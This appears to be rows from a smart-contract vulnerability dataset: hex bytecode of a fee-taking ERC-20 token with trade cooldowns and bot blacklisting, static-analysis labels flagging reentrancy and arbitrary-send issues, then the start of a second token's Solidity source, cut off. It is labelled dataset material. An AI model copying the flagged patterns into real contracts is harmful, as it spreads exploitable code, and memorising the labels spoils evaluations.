3057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f6983a9d161edb772f1ef4e5f45adc76b436419447a0065fc061fb5934131a364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,648 |
0x0848e84Aa70274c1E51D71564bde2211eE0406F7 | pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardMintableToken is ERC20, BasicToken, Ownable {
mapping (address => mapping (address => uint256)) allowed;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
